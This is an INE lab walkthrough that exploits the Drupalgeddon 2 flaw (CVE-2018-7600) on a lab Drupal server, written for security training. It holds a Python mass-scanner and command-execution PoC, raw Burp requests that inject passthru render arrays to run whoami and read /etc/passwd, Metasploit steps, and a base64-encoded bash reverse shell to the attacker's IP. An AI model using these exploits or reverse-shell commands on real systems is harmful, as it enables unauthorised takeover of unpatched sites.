[CVE-2018-7600] Drupalgeddon 2
In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!
Purpose: We are learning how to exploit the Drupal server's vulnerable version using the Metasploit Framework and a Python script.
Technical difficulty: Beginner
Introduction
In late March 2018, a critical vulnerability was uncovered in Drupal CMS. Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 versions were affected by this vulnerability.
It allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or standard module configurations.
A lot of PoC is available to exploit this vulnerability.
Lab Environment
In this lab environment, the user will get access to a Kali GUI instance. A vulnerable Drupal CMS is deployed on http://demo.ine.local. The CMS is vulnerable to Drupalgeddon Remote Code Execution (CVE-2018-7600)
Tools
The best tools for this lab are:
- Metasploit Framework
- Nmap
- Bash Shell
- Python
- Burp Suite
Objective: Exploit the Drupal CMS vulnerability and retrieve the flag!
Solution
- Scanning and Identifying the running Drupal CMS
- Detecting the vulnerability
- Exploitation using Metasploit
- Manually Exploitation
- Writing a Python script
Step 1: Open the lab link to access the Kali GUI instance.
Step 2: Check if the provided machine/domain is reachable.
Commands:
ping -c 4 demo.ine.local
The provided machine is reachable, i.e., demo.ine.local. Also found the target's IP address.
Step 3: Check for open ports on the target machine.
Command:
nmap demo.ine.local
Port 80 is open on the target machine.
Step 4: Run nmap on port 80 and find more about the running service.
Command:
nmap -p 80 -sS -sV demo.ine.local
-p: Only scan specified ports
-sS: TCP SYN/Connect()/ACK/Window/Maimon scans
-sV: Probe open ports to determine service/version info
The target is running Apache httpd 2.4.18 on port 80.
Step 5: Access the webserver using the firefox browser and find the running application
URL: http://demo.ine.local
Drupal CMS is running.
Step 6: Access the CHANGELOG.txt file on the server. The version information should be present in this file.
URL: http://demo.ine.local/CHANGELOG.txt
By default, the CHANGELOG.txt is present in the drupal archive https://ftp.drupal.org/files/projects/drupal-{VERSION}.tar.gz. So, if the admin hasn't deleted the file, we can quickly identify the running CMS version.
The target is running Drupal 7.57, 2018-02-21 version.
Search for the public exploit of the Drupal 7.57 application using searchsploit.
About "searchsploit"
searchsploit is a bash script that helps find exploits for services, OSes, and applications.
Command:
searchsploit drupal 7.57
Drupal is vulnerable to remote command execution (RCE). Also, there is a Metasploit module available.
Vulnerability Identification
There is a python script developed by fyraiga. Run the script and confirm the vulnerability
Code:
#written by fyraiga
#POC adapted from FireFart CVE-2018-7600
#import here
import argparse
import ipaddress
import itertools
import re
import requests
import sys
import time
#functions
def exploit(ip_targets):
send_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'id', 'name[#type]':'markup'}
send_data = {'form_id':'user_pass', '_triggering_element_name':'name'}
ipregex = re.compile("(\d{1,3}\.){3}\d{1,3}.*")
num_scanned = len(ip_targets)
num_vuln = 0
time_start = time.time()
for ip_target in ip_targets:
result = ipregex.match(ip_target)
ip_target = "http://"+ip_target
if result is not None:
r = None
print("{:=<74}".format(""))
print("[~] {:<60} [{:^7}]".format(ip_target, "..."), end="", flush=True)
if verbose == True:
try:
r = requests.post(ip_target, data=send_data, params=send_params, timeout=3)
except requests.exceptions.Timeout:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
print("{:>7} ERROR: Server seems to be down (Timeout)".format("--"))
continue
except requests.exceptions.ConnectionError:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
print("{:>7} ERROR: Unable to connect to the webserver (Connection Error)".format("--"))
continue
except requests.exceptions.HTTPError:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
print("{:>7} ERROR: 4xx/5xx".format("--"))
continue
except requests.exceptions.InvalidURL:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
print("{:>7} ERROR: Invalid URL.".format("--"))
continue
except Exception:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
print("{:>7} ERROR: Unexpected Error".format("--"))
sys.exit()
else:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "OK"))
print("{:>7} OK: Alive".format("--"))
else:
try:
r = requests.post(ip_target, data=send_data, params=send_params, timeout=5)
except Exception:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
continue
else:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "OK"))
#Finding block of data to check server type
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
if verbose == True:
print("{:>7} OK: Server seems to be running Drupal".format("--"))
found = m.group(1)
send_params2 = {'q':'file/ajax/name/#value/' + found}
send_data2 = {'form_build_id':found}
r = requests.post(ip_target, data=send_data2, params=send_params2)
r.encoding = 'ISO-8859-1'
out = r.text.split("[{")[0].strip()
if out == "":
print("{:>7} Patched (CVE-2018-7600)".format("--"))
continue
else:
print("{:>7} Vulnerable (CVE-2018-7600)".format("--"))
num_vuln += 1
else:
print("{:>7} Doesnt seem like a Drupal server?".format("--"))
continue
else:
raise ValueError("Invalid IP Address")
time_fin = time.time()
print("{:=<74}".format(""))
print("[+] {} target(s) scanned, {} target(s) vulnerable (CVE-2018-7600)".format(num_scanned, num_vuln))
print("[+] Scan completed in {:.3f} seconds".format(time_fin-time_start))
def process_file(target):
hostlist = []
try:
file = open(target, "r")
for line in file:
hostlist.append(line.strip())
exploit(hostlist)
except FileNotFoundError:
print("[!] Unable to locate file. Check file path.")
sys.exit()
except ValueError:
print("[!] Invalid value in file. Ensure only IPv4 addresses exist!")
sys.exit()
except Exception as e:
print(e)
print("[!] Unexpected Error! This should not be happening. Please inform me at Github!")
sys.exit()
def process_multiple(target):
hostlist = target.split(",")
try:
for data in hostlist:
data = data.strip()
exploit(hostlist)
except ValueError:
print("[!] Invalid Input. Only IPv4 addresses are accepted.")
sys.exit()
except Exception:
print("[!] Unexpected Error! This should not be happening. Please inform me at Github!")
sys.exit()
def process_range(target):
try:
hostlist = []
raw_octets = target.split(".")
octets = [x.strip().split("-") for x in raw_octets]
octet_range = [range(int(x[0]), int(x[1])+1) if len(x) == 2 else x for x in octets]
for x in itertools.product(*octet_range):
hostlist.append('.'.join(map(str,x)).strip())
exploit(hostlist)
except ValueError:
print("[!] Invalid Input. Only IPv4 ranges are accepted.")
sys.exit()
except Exception as e:
print(e)
print("Unexpected Errror")
sys.exit()
def process_ip(target):
try:
exploit([target.strip()])
except ValueError:
print("[!] Invalid Input. Only IPv4 & valid CIDR addresses are accepted for IP mode.\n{:>7} Use -h to see other modes.".format("--"))
sys.exit()
except Exception:
print("[!] Unexpected Error")
sys.exit()
def process_cidr(target):
hostlist = []
try:
net = ipaddress.ip_network(target.strip(), strict=False)
for host in net.hosts():
hostlist.append(str(host))
exploit(hostlist)
except ValueError:
print("[!] Invalid Input. Only IPv4 & valid CIDR addresses are accepted for IP mode.\n{:>7} Use -h to see other modes.".format("--"))
sys.exit()
except Exception:
print("[!] Unexpected Error")
sys.exit()
#main here
def main():
parser = argparse.ArgumentParser(prog="drupalgeddon2-scan.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50))
try:
parser.add_argument("target", help="IP of target site(s)")
parser.add_argument('-c', "--cidr", default=False, action="store_true", help="Generate & scan a range given a CIDR address")
parser.add_argument('-f', "--file", default=False, action="store_true", help="Retrieve IP Addresses from a file (1 per line)")
parser.add_argument('-i', "--ip", default=True, action="store_true", help="Single IP Address (CIDR migrated to a seperate mode)")
parser.add_argument('-m', "--multiple", default=False, action="store_true", help="Multiple IP Adddress e.g. 192.168.0.1,192.168.0.2,192.168.0.3")
parser.add_argument('-r', "--range", default=False, action="store_true", help="IP Range e.g. 192.168.1-2.0-254 (nmap format)")
parser.add_argument('-v', "--verbose", default=False, action="store_true", help="Provide a more verbose display")
parser.add_argument("-o", "--http-only", default=False, action="store_true", help="To be implemented (Current state, https not implemented)")
parser.add_argument("-s", "--https-only", default=False, action="store_true", help="To be implemented")
except Exception:
print("[!] Unexpected Error! This should not be happening. Please inform me at Github!")
sys.exit()
try:
args, u = parser.parse_known_args()
except Exception:
print("[!] Invalid arguments!")
sys.exit()
#renaming variable
global verbose
verbose = args.verbose
#Verbose message
print("[~] Starting scan...")
#IP range in a CIDR format
if args.cidr == True:
process_cidr(args.target)
#IPs from a file
elif args.file == True:
process_file(args.target)
#Multiple IPs (separated w commas)
elif args.multiple == True:
process_multiple(args.target)
#IP Range (start-end)
elif args.range == True:
process_range(args.target)
#IP Address/CIDR
elif args.ip == True:
process_ip(args.target)
#Unrecognised arguments
else:
print("[!] Unexpected Outcome! This should not be happening. Please inform me at Github!")
sys.exit()
sys.exit()
#ifmain here
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print ("\n-- Ctrl+C caught. Terminating program.")
except Exception as e:
print(e)
print("[!] Unexpected Error! This should not be happening. Please inform me at Github!")
Save the script on the attacker machine and run the script.
Commands:
nano scan.py
<code>
python3 scan.py 192.127.233.3
Note: Provide only the target IP Address as an argument
The target is vulnerable to CVE-2018-7600
Step 7: Run the Metasploit framework and search for the drupal_drupalgeddon2 module.
This module exploits a Drupal property injection in the Forms API. Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable. Source: https://www.rapid7.com/db/modules/exploit/unix/webapp/drupal_drupalgeddon2/
Commands:
msfconsole -q
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
Step 8: There is a Metasploit module available. Check all the available module options.
Command:
show options
All options are already set. Configure LHOST and RHOSTS, then exploit the application.
Check the attacker's machine IP address.
Command:
ip addr
In this case it is 192.127.233.2.
Exploit Drupal CMS
Commands:
set RHOSTS demo.ine.local
set LHOST 192.127.233.2
set VERBOSE true
check
exploit
Received a meterpreter session.
Read the flag
Command:
ls
cat THIS_IS_FLAG1212121
FLAG: e0572f60b6e647a69a120cfd0bdfcaa4
Successfully exploited the Drupal CMS using the metasploit framework.
Manual Exploitation
Before exploiting the vulnerability manually, first look into the technical details.
The leading cause of this vulnerability is the Drupal Form API known as "Renderable Arrays." The vulnerability exists due to insufficient sanitation of inputs passed via Form API and AJAX requests. It is an extended API used to represent the structure of most of the UI elements in Drupal, i.e., pages, blocks, nodes, etc. An attacker can trigger the vulnerability by injecting a malicious render array responsible for RCE.
The API was introduced in the drupal 7.0 version and is used for rendering structured data (Renderable Arrays) into HTML markup.
>In brief, Drupal had insufficient input sanitation on Form API (FAPI) AJAX requests. As a result, this potentially enabled an attacker to inject a malicious payload into the internal form structure. This would have caused Drupal to execute it without user authentication. By exploiting this vulnerability, an attacker would have been able to carry out an entire site takeover of any Drupal customer. Source: https://research.checkpoint.com/2018/uncovering-drupalgeddon-2/
How to exploit?
First, send the malicious reander request to /?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=<CMD>. Successful submission generates the form_build_id that is used for rendering the data which causes command execution, eg: file/ajax/name/#value/form-<ID>
Burp Suite is a good tool for sending the POST request and exploiting the vulnerability.
Step 9: Start burp suite and configure the proxy
Click on Next
Click on Start Burp
Burp Suite is running. Switch the tab to Proxy
The intercept is already on. Switch back to the firefox browser and enable the proxy.
Go to the Right side of the firefox browser and click on the FroxyFoxy icon.
Then, click on Burp Suite / ZAP config.
The Burp Suite configuration is done. Access the /?q=user/password page, then click on E-mail new password and intercept the request.
URL: http://demo.ine.local/?q=user/password
Captured the request. Send the request to the burp repeater.
Step 10: Inject the malicious render array.
&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=whoami
Encoded
&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=whoami
Modify the request and use the above-encoded value and send the request. Also, modify the headers.
POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=whoami HTTP/1.1
Host: demo.ine.local
User-Agent: python-requests/2.20.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
Send the request
Found the form build-id
form-hniH5Vvhfnf6YGE3K55BKsh13nga3Ex0sowHPdKBorY
Send the request to render the form.
POST /?q=file/ajax/name/#value/form-<id> HTTP/1.1
Host: demo.ine.local
User-Agent: python-requests/2.20.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 62
Content-Type: application/x-www-form-urlencoded
form_build_id=form-<id>
Encoded
POST /?q=file%2Fajax%2Fname%2F%23value%2Fform-hniH5Vvhfnf6YGE3K55BKsh13nga3Ex0sowHPdKBorY HTTP/1.1
Host: demo.ine.local
User-Agent: python-requests/2.20.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 62
Content-Type: application/x-www-form-urlencoded
form_build_id=form-hniH5Vvhfnf6YGE3K55BKsh13nga3Ex0sowHPdKBorY
Use the above request to execute the whoami command on the target machine. The above request render the form and run the command on the system.
The whoami command returned an output www-data.
This confirms the exploitation of the vulnerability. You could also send /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=cat+/etc/passwd request to read the /etc/passwd file. Follow both steps again.
Exploiting Using Python
Step 11: There are a lot of PoC available to exploit Drupalgeddon vulnerability.
In this case, use a script created by Christian Mehlmauer: https://github.com/firefart/CVE-2018-7600/blob/master/poc.py
import requests
import re
HOST="http://192.168.60.129/"
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'id', 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(HOST, data=post_params, params=get_params)
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
found = m.group(1)
get_params = {'q':'file/ajax/name/#value/' + found}
post_params = {'form_build_id':found}
r = requests.
Modifying the script that accepts the target server and command arguments.
import requests
import re
import argparse
my_parser = argparse.ArgumentParser(description='Drupalgeddon Remote Command Execution')
my_parser.add_argument('-T', '--URL', help='Target URL eg: http://demo.ine.local', type=str)
my_parser.add_argument('-C', '--COMMAND', help='Command to execute eg: whoami', type=str)
args = my_parser.parse_args()
target = args.URL
cmd = args.COMMAND
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':cmd, 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(target, data=post_params, params=get_params)
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
found = m.group(1)
get_params = {'q':'file/ajax/name/#value/' + found}
post_params = {'form_build_id':found}
r = requests.post(target, data=post_params, params=get_params)
print(r.text)
Save the script and execute a command on the target machine.
Commands:
nano poc.py
<code>
python3 poc.py -h
python3 poc.py -T http://demo.ine.local -C 'whoami; pwd'
Both the commands were correctly executed on the target server and received an output.
Get the reverse bash shell of the target server.
Commands:
echo 'bash -i >& /dev/tcp/192.127.233.2/4444 0>&1' | base64
Final Command:
echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTI3LjIzMy4yLzQ0NDQgMD4mMQo=' | base64 -d | bash -i
Note: Make sure your attacker's machine IP address
Start netcat listener on port 4444.
Command:
nc -lvp 4444
Execute the script and the bash reverse shell command.
Command:
python3 poc.py -T http://demo.ine.local -C 'echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTI3LjIzMy4yLzQ0NDQgMD4mMQo=' | base64 -d | bash -i'
id
ip addr
Received the reverse shell. We have successfully exploited the Drupal server using the Metasploit Framework and a Python script. Also, we have learned how to exploit the CMS using the burp suite by modifying the requests.
References
Drupal Drupalgeddon 2 Forms API Property Injection
Drupalgeddon 2 Vulnerability Used to Infect Servers With Backdoors & Coinminers
Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!